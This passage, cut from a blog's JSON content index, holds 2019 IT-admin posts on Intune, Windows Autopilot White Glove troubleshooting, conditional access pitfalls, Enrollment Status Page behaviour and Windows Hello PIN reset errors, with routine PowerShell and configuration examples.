which prevented all users in a tenant from resetting their Windows Hello for Business PIN’s on Azure AD joined devices while getting the error CAA20004.\nIssue # When clicking on “I forgot my PIN”:\nAfter completing the account sign-in and MFA challenge the Error CAA20004 came up:\nTroubleshooting # The Azure AD Portal shows us “Failure reason: other”.\nWhile recording all the https traffic to Microsofts oauth2 endpoint with Fiddler this finally unveils usable information:\nAADSTS65001: The user or administrator has not consented to use the application with ID ’ 9115dd05-fad5-4f9c-acc7-305d08b1b04e’ named ’ Microsoft Pin Reset Client Production’. Send an interactive authorization request for this user and resource.\nThe error indicates that an application registration is missing in the tenant for the application “Microsoft Pin Reset Client Production”\nSolution # After a short search I found a matching Microsoft docs article. Instead of reading through the whole article the only thing I needed to do was consenthing to the: Microsoft PIN Reset Service production application and also for the Microsoft PIN Reset Client production\n","title":"Unable to reset Windows Hello for Business PIN","type":"posts"},{"content":"","date":"11 October 2019","externalUrl":null,"permalink":"/tags/windows-hello-for-business/","section":"Tags","summary":"","title":"Windows-Hello-for-Business","type":"tags"},{"content":"After you have uploaded a PowerShell script to the Intune portal you won\u0026rsquo;t be able to view the script or its content. Therefore things become complicated when an Intune tenant is managed by multiple admins and someone wants to update or review a script. In addition to the unknown script content things can go from bad to worse if you can\u0026rsquo;t find the script anymore. Fortunately we can recollect our PowerShell scripts directly from the Microsoft Graph API.\nTaking advantage of the Intune-PowerShell-SDK # Install the Intune-PowerShell-SDK Consent MS Graph App registration if not done yet (uses default Microsoft Intune PowerShell App with ID: d1ddf0e4-d672-4dae-b554-9d5bdfd93547 ) Execute the snippet below Retrieve device configuration - PowerShell scripts # Final words # This was more a minimalistic self-serving post instead of a good explained one but it hopefully helps you if in need to export your PowerShell scripts in Intune without reinventing the wheel.\n","date":"9 October 2019","externalUrl":null,"permalink":"/view-and-export-uploaded-intune-powershell-scripts/","section":"Posts","summary":"After you have uploaded a PowerShell script to the Intune portal you won’t be able to view the script or its content. Therefore things become complicated when an Intune tenant is managed by multiple admins and someone wants to update or review a script. In addition to the unknown script content things can go from bad to worse if you can’t find the script anymore. Fortunately we can recollect our PowerShell scripts directly from the Microsoft Graph API.\nTaking advantage of the Intune-PowerShell-SDK # Install the Intune-PowerShell-SDK Consent MS Graph App registration if not done yet (uses default Microsoft Intune PowerShell App with ID: d1ddf0e4-d672-4dae-b554-9d5bdfd93547 ) Execute the snippet below Retrieve device configuration - PowerShell scripts # Final words # This was more a minimalistic self-serving post instead of a good explained one but it hopefully helps you if in need to export your PowerShell scripts in Intune without reinventing the wheel.\n","title":"Intune export uploaded PowerShell scripts","type":"posts"},{"content":"If you use the Enrollment Status Page (ESP) on your (Autopilot) devices in blocking mode (Block device use until all apps and profiles are installed) things can get ugly and complicated if you sign-in with another user account on that machine. So it might be better to disable the Enrollment Status Page for all users who sign-in after the initial device enrollment.\nESP behaviour # I was not aware of the fact that only one ESP gets applied to a device and the first one applied will also remain on that device nevertheless if you configure additional ESP settings for different groups of users. In addition the ESP gets displayed for every account even if the account has no Intune license assigned and causing the ESP therefore to fail.\nThe Enrollment Status Page can only be targeted to a user who belongs to an assigned group and the policy is set on the device at the time of enrollment for all users that use the device. https://docs.microsoft.com/en-us/intune/windows-enrollment-status\nUse cases from the field # I have came past the following use cases where you would want to disable the ESP after the initial enrollment:\nSupport and maintenance on Azure AD joined machines with unlicensed administrator accounts (causing ESP to fail) Improving logon times for shared devices e.g. a desktop in a meeting room where every user of the tenant can sign-in with his account (causing slow logons) Using a blocking ESP (which somehow fails and or takes ages to complete) on machines which are already enrolled Configuration Manager co-management scenarios with Autopilot ## Configuration Long story short - if you want to disable the ESP after the initial enrollment was completed and the ESP initially displayed the status:\nThis can now be accomplished with a simple setting directly in the ESP profile (which has the same effect as if you would configure the OMA-URI\u0026rsquo;s above):\nAdditionally I recommend to disable the Windows 10 first logon animation in order to speed the first sign-in up. Because the ESP also bypasses the first logon animation.\n| Name | Disable first sign-in animation | | OMA-URI | ./Device/Vendor/MSFT/Policy/Config/WindowsLogon/EnableFirstLogonAnimation | | Value type | Integer | | Value | 0 |\n","date":"4 October 2019","externalUrl":null,"permalink":"/the-enrollment-status-page-and-shared-devices/","section":"Posts","summary":"If you use the Enrollment Status Page (ESP) on your (Autopilot) devices in blocking mode (Block device use until all apps and profiles are installed) things can get ugly and complicated if you sign-in with another user account on that machine. So it might be better to disable the Enrollment Status Page for all users who sign-in after the initial device enrollment.\nESP behaviour # I was not aware of the fact that only one ESP gets applied to a device and the first one applied will also remain on that device nevertheless if you configure additional ESP settings for different groups of users. In addition the ESP gets displayed for every account even if the account has no Intune license assigned and causing the ESP therefore to fail.\nThe Enrollment Status Page can only be targeted to a user who belongs to an assigned group and the policy is set on the device at the time of enrollment for all users that use the device. https://docs.microsoft.com/en-us/intune/windows-enrollment-status\nUse cases from the field # I have came past the following use cases where you would want to disable the ESP after the initial enrollment:\n","title":"The Enrollment Status Page (ESP) and shared devices","type":"posts"},{"content":"Recently I needed to delete a desktop machine from the Windows Autopilot service in order to use the machine in another tenant. But the problem was that the Intune and Azure AD device objects were already deleted. All attempts taken within the Microsoft 365 Device Management and Intune Portal were unsuccessful.\nIssue # Usually the autopilot device shows the associated Azure AD and Intune objects but here they were shown as N/A (not available) because they were already deleted.\nEvery attempt to delete the device produced the following error:\nDevice 8CC9082ZVE deletion failed. Please delete the associated Intune device before deleting this Autopilot device record.\nSolution # A quick visit to the Microsoft Store for Business resolved things because there I could delete the device without any issue. Direct URL to the Microsoft Store for Business. After a sync in the Intune Autopilot Devices pane the device had also gone from the Intune portal.\nFinal words # This was a rather short post but I hope it prevents headache if you want to delete an Autopilot device with stale Azure AD / Intune records.\n","date":"29 September 2019","externalUrl":null,"permalink":"/windows-autopilot-failed-to-delete-device-records/","section":"Posts","summary":"Recently I needed to delete a desktop machine from the Windows Autopilot service in order to use the machine in another tenant. But the problem was that the Intune and Azure AD device objects were already deleted. All attempts taken within the Microsoft 365 Device Management and Intune Portal were unsuccessful.\nIssue # Usually the autopilot device shows the associated Azure AD and Intune objects but here they were shown as N/A (not available) because they were already deleted.\nEvery attempt to delete the device produced the following error:\nDevice 8CC9082ZVE deletion failed. Please delete the associated Intune device before deleting this Autopilot device record.\nSolution # A quick visit to the Microsoft Store for Business resolved things because there I could delete the device without any issue. Direct URL to the Microsoft Store for Business. After a sync in the Intune Autopilot Devices pane the device had also gone from the Intune portal.\nFinal words # This was a rather short post but I hope it prevents headache if you want to delete an Autopilot device with stale Azure AD / Intune records.\n","title":"Windows Autopilot failed to delete device records","type":"posts"},{"content":"Nowadays where cloud services are available from all over the world we cannot (only) rely on trusted networks and on identities protected by usernames and passwords. Conditional access allows you to define granular controls whether an identity can access cloud applications. Based on the positive feedback for my \u0026ldquo;5 Ways to Screw up your Intune Tenant\u0026rdquo; post I felt empowered to get conditional access covered as well.\nChose your platform wisely # If you intend to use the device platform filter make sure that you cover all platforms including unknown platforms. Otherwise your might have a lack in your battleship. Also note that platform detection is based on best effort and can be exploited.\nLong live legacy # Mind the client apps configuration to ensure that your conditional access policies also apply to non-modern authentication clients. If you have created your conditional access policies in the early days of the product you didn\u0026rsquo;t have this option available.\nSomething that has created some confusion is that conditional access policies don\u0026rsquo;t include legacy authentication clients by default, this means that if you have a conditional access policy enforcing MFA for all users and all cloud apps, it doesn\u0026rsquo;t block legacy authentication clients (or \u0026ldquo;Other clients\u0026rdquo;, as the CA UI refers to them) - Sue Bohn, Microsoft\n| |\nAll users aren\u0026rsquo;t the users you are looking for # When targeting a conditional access policy to \u0026ldquo;All users\u0026rdquo; and enforcing multi factor authentication or compliant devices you might want to reconsider your choice.\nMicrosoft recommends to have at least two emergency access accounts (also referred to break glass accounts). Therefore you should exclude those accounts from all conditional access policies. Note that guest users are also targeted by the \u0026ldquo;All users\u0026rdquo; selection. If you have Azure AD Connect in place also exclude the \u0026ldquo;On-Premises Directory Synchronization Service Account\u0026rdquo; account located in Azure AD. Otherwise synchronization errors might occur if you enforce MFA on this account For a simplified administration of these excluded accounts I recommend gathering them in an Azure Active Directory group. Besides that you have a good overview of which accounts are excluded.\nNot keeping an eye on excluded accounts # Because you probably will have accounts not covered by conditional access policies (as mentioned above) it is important to keep an eye on them. If you have gathered these accounts in an Azure AD group you can monitor and audit all activities for this group and it\u0026rsquo;s members. Furthermore it could make sense to trigger an alert as soon as activities on those accounts occurs (except for the Azure AD Connect account).\nTo audit account activity you can use:\nAzure Active Directory Sign-Ins and Audit Logs Azure Log Analytics 3rd party monitoring solutions For alerts:\nAzure Monitor Alerts (formerly known as Azure Log Analytics Alerts) Microsoft Cloud App Security (Please note that both lists are non-exhaustive. I am curious about your solutions)\nAzure AD audit logs forwarded to Azure Log Analytics and resulting Azure Monitor alerts are usually triggered after a delay. If your are looking for a solution with minimal delay for alerts Microsoft Cloud App Security might be your tool of choice. It offers various integrations regarding alerting by offering a Microsoft Flow connector and the native option to send text messages:\nstratɪdʒi (having a strategy) # Probably one of the most important points when it comes to conditional access is to evaluate a strategy which fit\u0026rsquo;s your companies, end-users or customers needs and way of working. Try to find a balance between a security and usability. You might have to raise awareness and explain why conditional access is indispensable to harden cloud services which are accessible by specifying a username and password. From everywhere.\nThe image below represents a companies strategy which allows their employees to access Office 365 resources under the following circumstances:\nCorporate owned Windows 10 devices: Enrolled in Intune and compliant Personal owned smartphones (BYOD): Must use an approved client app because MAM policies are deployed with Intune Web browser access from unmanaged devices: MFA is enforced, additionally app enforced restrictions prevent file downloads Guest users are not affected by any rules whereas files shared with them are monitored with cloud app security Visualized Conditional Access Strategy: Also note that such a strategy requires a certain maturity and adoption of your end-users. A detailed testing and continuous development of your security posture (with conditional access) is inevitable.\nFinal words # Extemporaneous conditional access implementations without careful planning and testing in advance will mostly not succeed. So as a take-away message if you plan to use conditional access:\nDefine your strategy. Ask yourself what do you want to achieve. Implement things. Test carefully. From an end user and administrator perspective. Audit and track configuration changes. Enjoy your modern and secure workplace. Tackle the next challenges. Reference # Discovering-and-blocking-legacy-authentication bypassing-conditional-access-device-platform-policies ","date":"28 August 2019","externalUrl":null,"permalink":"/5-ways-to-screw-up-conditional-access/","section":"Posts","summary":"Nowadays where cloud services are available from all over the world we cannot (only) rely on trusted networks and on identities protected by usernames and passwords. Conditional access allows you to define granular controls whether an identity can access cloud applications. Based on the positive feedback for my “5 Ways to Screw up your Intune Tenant” post I felt empowered to get conditional access covered as well.\nChose your platform wisely # If you intend to use the device platform filter make sure that you cover all platforms including unknown platforms. Otherwise your might have a lack in your battleship. Also note that platform detection is based on best effort and can be exploited.\nLong live legacy # Mind the client apps configuration to ensure that your conditional access policies also apply to non-modern authentication clients. If you have created your conditional access policies in the early days of the product you didn’t have this option available.\nSomething that has created some confusion is that conditional access policies don’t include legacy authentication clients by default, this means that if you have a conditional access policy enforcing MFA for all users and all cloud apps, it doesn’t block legacy authentication clients (or “Other clients”, as the CA UI refers to them) - Sue Bohn, Microsoft\n","title":"5 Ways to Screw Up Conditional Access","type":"posts"},{"content":"I\u0026rsquo;m happy to share some field notes and experiences with the Windows Autopilot White Glove feature which is available with the Windows 10 1903 release. I\u0026rsquo;ve done a lot of testing and engineering for a recent project which also included this brand new feature.\nFirst things first (requirements) # This is probably the most important information of this post. Really make sure to verify the following prerequisites for Autopilot White Glove. Because there are additional requirements compared to Autopilot enrollments.\nBasic Autopilot # Make sure that a \u0026ldquo;classical\u0026rdquo; Autopilot Deployment is working properly without any issues.\nHardware and OS # Hardware with support for device Attestation (\u0026ldquo;Physical devices that support TPM 2.0 and device attestation; virtual machines are not supported.\u0026rdquo;) Physical devices with Ethernet connectivity (WiFi connectivity is not supported!) Windows 10, version 1903 with KB4505903 injected (equals OS Build 18362.267) Starting the white glove adventure # Preparing Windows 10 1903 # As mentioned by Michael Niehaus Windows multiple Autopilot issues were fixed by KB4505903. So we need to inject this cumulative update to the downloaded source. This was already the first hurdle to overcome because I\u0026rsquo;ve missed the fact that the Windows Setup (install.wim) actually contained multiple image indexes (yeah it\u0026rsquo;s kinda embarrassing). We achieve this by using dism offline servicing with PowerShell cmdlets.\nPrepare a folder structure like: C:\\Temp\\W10-1903-DE-AUG mount patch source Download the Windows 10 1903 business editions image from VLSC or MSDN, extract the *.iso to your created \u0026ldquo;source\u0026rdquo; folder Download the cumulative update to your created \u0026ldquo;patch\u0026rdquo; folder Find the right Image index to mount (depending on the edition you want to install enterprise edition is usually index 3)\nGet-WindowsImage -ImagePath \u0026quot;C:\\Temp\\W10-1903-DE-AUG\\source\\sources\\install.wim\u0026quot; Mount the image to the \u0026ldquo;mount\u0026rdquo; folder\nMount-WindowsImage -Path C:\\temp\\W10-1903-DE-AUG\\mount\\ -ImagePath \u0026quot;C:\\Temp\\W10-1903-DE-AUG\\source\\sources\\install.wim\u0026quot; -Index 3 Inject cumulative update: Add-WindowsPackage -PackagePath \u0026quot;C:\\Temp\\W10-1903-DE-AUG\\patch\\windows10.0-kb4505903-x64_af8c6ab868423055a750797b6d52c1bd67e15a95.msu\u0026quot; -Path \u0026quot;C:\\temp\\W10-1903-DE-AUG\\mount\\\u0026quot; Dismount the image and save changes:\nDismount-WindowsImage -Path C:\\temp\\W10-1903-DE-AUG\\mount\\ -Save Dism cleanup:\ndism /Cleanup-Wim Split the image to fit efi bootable usb-stick (optional):\nSplit-WindowsImage -ImagePath \u0026quot;C:\\Temp\\W10-1903-EN\\sources\\install.wim\u0026quot; -SplitImagePath \u0026quot;C:\\Temp\\W10-1903-EN\\sources\\install.swm\u0026quot; -FileSize 3000``Remove-Item -Path \u0026quot;C:\\Temp\\W10-1903-EN\\sources\\install.wim\u0026quot; Installing the operating system # For the OS installation I used Roger Zander\u0026rsquo;s mOSD solution. It\u0026rsquo;s a little set of source files which enable you a fast and simple zero touch Windows installation from a USB stick making use of an Autounattend file.\nIntune Autopilot Profile # This one is rather simple, just enable white glove for the autopilot profile in the Intune pane and make sure the profile is assigned to your device. Don\u0026rsquo;t forget to assign a user account to your device.\n### It's all about the hardware For testing I\u0026rsquo;ve been using a HP EliteBook x360 1030 G3 and a HP EliteBook 850 G5 (fresh out of the box).\nHint: during all following steps i opened a command shell by pressing [shift] + [F10] to investigate things like the event viewer and logs within the file system.\nAfter booting up my first test device (EliteBook 850 G5) and pressing the Windows key five times Autopilot White Glove started with the provisioning but was hanging within the \u0026ldquo;Registering your device for mobile device management\u0026rdquo; step until it ran into a timeout.\nI was very surprised because this was working all fine for \u0026ldquo;normal\u0026rdquo; autopilot deployments. But as already mentioned Autopilot White Glove uses different capabilities (device attestation) in order to pre provision the device. On the HP EliteBook 850G TPM attestation was initially not available (although specified in the product information). This one was actually a bummer because the UEFI and TPM Firmware were outdated. But after the TPM firmware upgrade it was working.\nYou can check support for TPM attestation within the Windows Security center :\nIn the event viewer you can also track the behavior when a client requests a TPM attestation certificate. Check the following event log for details: \u0026ldquo;Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Autopilot\u0026rdquo;.\nScreen still stuck # Despite TPM, device attestation was now working fine the Autopilot White Glove screen still got stuck in the \u0026ldquo;Registering your device for mobile device management\u0026rdquo; step. I covered this in a separate post, read it here.\nOne step further but still not there # After overcoming all the \u0026ldquo;Device preparation\u0026rdquo; hurdles the device setup finally started. The user had assigned 25 apps (Win32, Windows Store for Business and LOB MSI\u0026rsquo;s). But the provisioning was always hanging on the last app installation (24/25) and then ran into the timeout which came from the Enrollment Status Page (ESP). So I dived into the Intune Management Extension (IME) log located under: \u0026ldquo;_C:\\Programdata\\Microsoft\\IntuneManagementExtension\\Logs_\u0026rdquo;.\nWhile investigating the entries all the way up I found this line:\n[LOG[[Win32App] ESP CheckDeviceAndAccountSetupStateWithWmi all apps completed for device]LOG]!\nSo this was rather strange because the ESP said it was still waiting for an app installation. When I had a closer look on each individual app installation I discovered the following entries:\n\u0026lt;![LOG[[Win32App] Exitcode is defined as success but it actually failed according to detection result]LOG]!\u0026gt;\n\u0026lt;![LOG[[Win32App] Set EnforcementStateMessage EnforcementState: Error, ErrorCode: -2016345060]LOG]!\u0026gt;\nThis explains why the ESP was waiting for the app installation, because one Win32 installation failed. In my case the installer was having issues because the app was doing some detection stuff in the user context which was actually \u0026ldquo;defaultuser0\u0026rdquo; and not a \u0026ldquo;real\u0026rdquo; account.\nWhich means that the issue was related to a Win32 app installation error but the ESP did somehow not notice the returned error. I\u0026rsquo;ll try to address this (miss)behavior in a support case and the Microsoft Intune team. Michael Niehaus confirmed this behaviour with a blogpost on the 15.08.2019.\nIn the meantime I was able to reproduce the issue also on non autopilot devices with Azure AD join and auto MDM enrollment configured. So this seems to be a general ESP related thing.\nMind the Enrollment Status Page (ESP) # During the testing always the Default ESP was showed. Nevertheless if I assigned the group containing my autopilot device or user account to my custom ESP. So if you want to use the ESP with Blocking-mode which is probably what you want for a white glove provisioning you have to adjust your default ESP.\nWhat is behind that QR code? # The QR code displayed in the Autopilot White Glove screens contains device information for processing and workflows (e.g. for a CMDB integration). Furthermore to the data stored within the QR code the \u0026ldquo;Windows Autopilot Companion App\u0026rdquo; allows you to gather more details by joining device data with information stored in the autopilot service. Thus the app accesses the Microsoft Graph API with the Microsoft\u0026rsquo;s default PowerShell Azure AD app ID: d1ddf0e4-d672-4dae-b554-9d5bdfd93547 which comes also with the Intune PowerShell samples.\nThe app is published as sample app on GitHub to be further customized by your own needs and device life cycle process.\nTo install the app on my Windows 10 device I needed to enable side loading and install the trusted root certificate which comes together with the appxbundle.\nWindows Autopilot Companion App Screenshot ## Reference I recommend you to have a read on the following articles to get some interesting details and behind-the-edge-knowledge about autopilot white glove:\nMicrosoft Docs: Windows Autopilot for white glove deployment Michael Niehaus: TPM Attestation: What can possibly go wrong? Michael Niehaus: Trying out Windows Autopilot with Windows 10 1903? Install the latest update. ","date":"14 August 2019","externalUrl":null,"permalink":"/windows-autopilot-white-glove-field-notes/","section":"Posts","summary":"I’m happy to share some field notes and experiences with the Windows Autopilot White Glove feature which is available with the Windows 10 1903 release. I’ve done a lot of testing and engineering for a recent project which also included this brand new feature.\nFirst things first (requirements) # This is probably the most important information of this post. Really make sure to verify the following prerequisites for Autopilot White Glove. Because there are additional requirements compared to Autopilot enrollments.\nBasic Autopilot # Make sure that a “classical” Autopilot Deployment is working properly without any issues.\nHardware and OS # Hardware with support for device Attestation (“Physical devices that support TPM 2.0 and device attestation; virtual machines are not supported.”) Physical devices with Ethernet connectivity (WiFi connectivity is not supported!) Windows 10, version 1903 with KB4505903 injected (equals OS Build 18362.267) Starting the white glove adventure # Preparing Windows 10 1903 # As mentioned by Michael Niehaus Windows multiple Autopilot issues were fixed by KB4505903. So we need to inject this cumulative update to the downloaded source. This was already the first hurdle to overcome because I’ve missed the fact that the Windows Setup (install.wim) actually contained multiple image indexes (yeah it’s kinda embarrassing). We achieve this by using dism offline servicing with PowerShell cmdlets.\n","title":"Windows Autopilot White Glove Field Notes","type":"posts"},{"content":"While testing Autopilot White glove for a customer project my test machines always got stuck within the \u0026ldquo;Registering your device for mobile management\u0026rdquo; step and timed out after 12 minutes and returned the error \u0026ldquo;0x81036501\u0026rdquo; just before showing the White Glove Failed screen. I was doing my tests with Windows 10 1903 DE (German) with the most recent cumulative update installed, meaning OS build: 18362.267.\nThe Issue # As normal Autopilot enrollments were working like a charm this one had to be related to the White Glove scenario. Here\u0026rsquo;s a screen capture showing the actual behavior (unfortunately with German display language):\nBy pressing [shift] + [F10] i opened a command prompt and launched the event viewer (eventvwr.msc). In the \u0026ldquo;Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Autopilot\u0026rdquo; event log I found the following error popping up multiple times, including a retry attempt and limit:\nAutopilot discovery failed to find a valid MDM. Confirm that the AAD tenant is properly provisioned and licensed for exactly one MDM. HRESULT = 0x81036501\nAutopilotManager failed during device enrollment phase DeviceDiscovery. HRESULT = 0x81036501\nOn the enrollment status page the error \u0026ldquo;0x81036501\u0026rdquo; got displayed for like one second before showing the red generic Autopilot White glove error screen.\nI double checked the assigned license but the user had assigned a Microsoft 365 E3 license.\nAfter some googling I saw a comment from EM+S MVP Zeng Yinghua (Sandy)who mentioned to check the registered MDM providers within the MDM and MAM section of the Azure Active Directory tenant and delete the \u0026ldquo;Microsoft Intune Enrollment\u0026rdquo; record.\nI\u0026rsquo;ve already discovered this second Microsoft Intune Enrollment entry in the past but never noticed it\u0026rsquo;s purpose. The MDM and MAM scope were both configured on the \u0026ldquo;Microsoft Intune\u0026rdquo; entry and the \u0026ldquo;Microsoft Intune Enrollment\u0026rdquo; was never touched.\nRegistered MDM and MAM providers in AAD After some research I actually found out that this entry is used to apply conditional access rules e.g. with the intention to enforce Multi Factor Authentication for the MDM enrollment (as documented in this Microsoft Docs Article).\nIf you look on the registration in detail you will probably notice that it has the same MDM discovery URL as the \u0026ldquo;real\u0026rdquo; Microsoft Intune registration.\nStale Microsoft Intune Enrollment MDM registration So now it made sense why the Autopilot White Glove client discovered multiple MDM entries.\nWorkaround # Because the customer already enforces Multi Factor Authentication for registering Azure AD devices he had no requirement to use a conditional access policy for the Intune Enrollment.\nSo I deleted the entry and afterwards things rapidly changed - the \u0026ldquo;Prepare device phase\u0026rdquo; was now completed within a few seconds on my device and the provisioning actually started!\nPlease note that this is a workaround, provided as it is without any warranty. I opened a support case and hope to be in contact with the Intune team soon in order to get some more information or a suitable solution.\nGood you found my comments and write this nice post! I tested that few months ago when I ran into same issue, and confirmed this with @mniehaus , he said that is the only workaround.\n— Zeng Yinghua 🇨🇳🇫🇮 (Sandy) (@sandy_tsang) August 9, 2019 ","date":"8 August 2019","externalUrl":null,"permalink":"/windows-autopilot-white-glove-error-0x81036501/","section":"Posts","summary":"While testing Autopilot White glove for a customer project my test machines always got stuck within the “Registering your device for mobile management” step and timed out after 12 minutes and returned the error “0x81036501” just before showing the White Glove Failed screen. I was doing my tests with Windows 10 1903 DE (German) with the most recent cumulative update installed, meaning OS build: 18362.267.\nThe Issue # As normal Autopilot enrollments were working like a charm this one had to be related to the White Glove scenario. Here’s a screen capture showing the actual behavior (unfortunately with German display language):\nBy pressing [shift] + [F10] i opened a command prompt and launched the event viewer (eventvwr.msc). In the “Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Autopilot” event log I found the following error popping up multiple times, including a retry attempt and limit:\nAutopilot discovery failed to find a valid MDM. Confirm that the AAD tenant is properly provisioned and licensed for exactly one MDM. HRESULT = 0x81036501\nAutopilotManager failed during device enrollment phase DeviceDiscovery. HRESULT = 0x81036501\nOn the enrollment status page the error “0x81036501” got displayed for like one second before showing the red generic Autopilot White glove error screen.\n","title":"Windows Autopilot White Glove Error 0x81036501","type":"posts"},{"content":"The Intune Win32 app requirements feature is quite underrated and often overseen in my experience. The ability to specify a custom PowerShell scripts allow us to check for specific hardware or device properties in order to determine if an app or firmware update should be installed or not. So there\u0026rsquo;s no need to build multiple and complex dynamic Azure AD groups for the assignment of your apps.\nUse cases from the field # From recent projects I\u0026rsquo;ve discovered the following use cases to deploy Win32 apps only to specific hardware types:\nInstall specific device drivers or hardware vendor\u0026rsquo;s software which is not available within the Windows update catalog (e.g. hotkey features, firmware updates) Install a VPN client only on notebooks and tablets (e.g. Palo Alto GlobalProtect Client) Win32 app requirements # Intune Win32 app requirements are evaluated by the Intune Management Extension to check if a device fulfills defined requirements for an application installation. Requirements support both built-in and custom rules.\nBuilt-in rules # Wit the built-in capabilities we can check for:\nOperating system architecture Minimum operating system Disk space required Physical memory required Minimum number of logical processors required Minimum CPU speed required Additional rules (custom) # Additionally we can build rules based on:\nFilesystem (file, folder checks) Registry (checking presence of keys and values) Script (executing PowerShell scripts and checking return codes and values) PowerShell possibilities # Because I\u0026rsquo;ve fulfilled the use cases mentioned in the beginning with PowerShell requirements scripts I\u0026rsquo;m going to focus on this rule type.\nWhen the Intune Management Extension performs the prerequisites check and runs the custom PowerShell script it checks for exit code 0 from the PowerShell process otherwise the prerequisites are considered as not fulfilled. Upon return of exit code 0 standard script output is detected in more detail.\nWithin the Win32 app prerequisites script you can specify which data type from the PowerShell output stream you want to use for matching your prerequisites. Based on the data type different operators are available. The following data types are available:\nString (1) Datetime (2) Integer (3) Floating Point (4) Version (5) Boolean (6) The decimal values enclosed by parentheses are the values which are used by the Intune Management Extension (IME) to determine the matching. They are also used within the IntuneManagementExtension.log log-file and might help you for troubleshooting purpose.\nAs an example you could select \u0026ldquo;Integer\u0026rdquo; and expect a value of \u0026ldquo;1\u0026rdquo; to be present in the PowerShell output stream (PowerShell examples are below). Writing to the PowerShell output stream with your prerequisites script is done easily with: Write-Output \u0026quot;1\u0026quot;.\nBe aware that if your end devices not fulfill the configured prerequisites the app will not be installed.\nRequirement scripts examples # Check for a specific hardware model # The following script checks if the device matches the hardware model(s) defined in the PowerShell array.\nIn Intune we can validate the Win32 app requirements with the following configuration and upload the script above:\n| |\nCheck for device type # To check for portable devices like notebooks and tablets you can use this script as Win32 app requirements and perform the same configuration as for the first example.\nAdmin experience # Intune Portal # In Intune you will see the installation status of your app and maybe some devices in the diagram showing \u0026ldquo;not applicable\u0026rdquo;. These are the devices which do not meet the prerequisites check. Therefore the app will not be installed.\nIntune Management Extension # The Intune management extension log shows some interesting information how the requirements are evaluated and shows the process described before:\nIntune Management Extension Insights Retrieving existing requirement scripts # Unfortunately an existing requirement script can not be viewed within the Intune portal. This makes it difficult to check what requirements are configured. But with the Graph API and the Intune-PowerShell-SDK we can retrieve the content of the uploaded PowerShell script.\nFollow the Intune-PowerShell-SDK instructions to connect to the Graph API BETA endpoint and afterwards retrieve the requirement script with the following PowerShell code and your Win32 app\u0026rsquo;s ID:\nThe script content is stored as base64 encoded string and converted with the above PowerShell snippet.\nHint : to get your application id you can easily use the web browser and navigate to your Intune app and copy the id from the URL. It will look like the following where the guid at the end corresponds to the id:\nhttps://devicemanagement.microsoft.com/#blade/Microsoft_Intune_Apps/SettingsMenu/0/appId/0a2b8969-24c9-4305-bbc1-e3cc2562c29b\nReference # Microsoft Docs: apps-win32-app-management GitHub: Intune-PowerShell-SDK Microsoft Graph: win32LobAppPowerShellScriptRequirement resource type Microsoft Graph: win32LobAppPowerShellScriptDetectionType enum type ","date":"5 August 2019","externalUrl":null,"permalink":"/intune-win32-app-requirements-deep-dive/","section":"Posts","summary":"The Intune Win32 app requirements feature is quite underrated and often overseen in my experience. The ability to specify a custom PowerShell scripts allow us to check for specific hardware or device properties in order to determine if an app or firmware update should be installed or not. So there’s no need to build multiple and complex dynamic Azure AD groups for the assignment of your apps.\nUse cases from the field # From recent projects I’ve discovered the following use cases to deploy Win32 apps only to specific hardware types:\nInstall specific device drivers or hardware vendor’s software which is not available within the Windows update catalog (e.g. hotkey features, firmware updates) Install a VPN client only on notebooks and tablets (e.g. Palo Alto GlobalProtect Client) Win32 app requirements # Intune Win32 app requirements are evaluated by the Intune Management Extension to check if a device fulfills defined requirements for an application installation. Requirements support both built-in and custom rules.\nBuilt-in rules # Wit the built-in capabilities we can check for:\n","title":"Intune Win32 app requirements deep dive","type":"posts"},{"content":"Here are 5 common recommendations based on misconfigurations I\u0026rsquo;ve came across in the field which will give your Intune tenant and devices a hard time to work smoothly. So better read this post that you not screw up your Intune tenant and maybe take advantage of the experiences others already gained.\nHousekeeping # It\u0026rsquo;s important to know which devices are actually being used and usually a nice addition to understand compliance data. Stale device entries in may give you a wrong impression of your Intune tenant and it\u0026rsquo;s health. So enable the automatic device cleanup rule to remove the enrolled device from Intune. Additionally you may also remove the device entries stored in Azure Active Directory (I created a little on-demand script for this which can also run in azure automation).\nSame applies to registered Autopilot devices. E.g. if you allow your employees to buy their old devices from the company if they get a new one make sure to remove the device from the Autopilot service. Otherwise you\u0026rsquo;ll see it again popping up in your tenant very soon. Thus it also prevents the device from being registered in another tenant as autopilot device.\nEnable Intune Device Cleanup Rules ## Why auto upgrade when you can have auto downgrade If you deploy Line Of Business or Win32 apps with Intune, make sure that you do not accidentally downgrade apps with auto-update capabilities like web browsers. Enable the \u0026ldquo;Ignore app version\u0026rdquo; or configure your Win32 app detection rule that it\u0026rsquo;s not configured for a specific version.\nEnable the Ignore app version for apps with auto-update capabilities ## The impossible device compliance Device compliance policies are great to monitor your devices compliance and for conditional access. It may seem obvious but this one is although missed often: If you require certain settings in compliance policies which your end devices will never fulfill because there\u0026rsquo;s no configuration which actually configures the setting it\u0026rsquo;s kind of a deadlock. So ensure that every setting you \u0026ldquo;expect\u0026rdquo; to be present on your end devices is also configured with an device configuration.\nExample: If you require BitLocker to be enabled make sure that the BitLocker activation is configured in a device configuration policy.\nEnsure that your devices can fulfill device compliance requirements ## Mixing things up Be aware that if you mix up assignments of device configurations with user- and device-groups you cannot make any excludes for another type. Consider this when you implement an assignment strategy. Also note that inclusion takes precedence over exclusion.\nSame thing applies for creating multiple Windows Update rings. If multiple update rings are targeted to the same user or device it will result in a policy conflict. More information is available on Microsoft Docs.\nMake sure to not mix include- and exclude assignments with devices and users ## End user adoption is overrated Your end user have no understanding what actually happens when they sign-in with their Azure AD Account on their home PC?\nThis can easily lead to enrolled Intune devices which you probably won\u0026rsquo;t like to have in your tenant. So tell them that \u0026ldquo;Add this account to Windows\u0026rdquo; might not always be the best option or only allow corporate owned devices to enroll. Also notice that (almost all) Intune policies remain on a device even if it get\u0026rsquo;s unenrolled.\nThe enrollment for private owned Windows 10 devices can be blocked within the enrollment restrictions. Consider that only these documented scenarios on Microsoft Docs are accounted as non-personal owned. If you are focusing on Azure AD joined devices you will need to have the devices registered within the autopilot service in order that they are considered as corporate owned.\n![](/content/images/2019/07/5-ways-to-screw-up-your-intune-tenant-AutoEnrollment.png) Have you experienced other hurdles? I\u0026rsquo;m curious to read it, so leave a comment below.\n","date":"31 July 2019","externalUrl":null,"permalink":"/5-ways-to-screw-up-your-intune-tenant/","section":"Posts","summary":"Here are 5 common recommendations 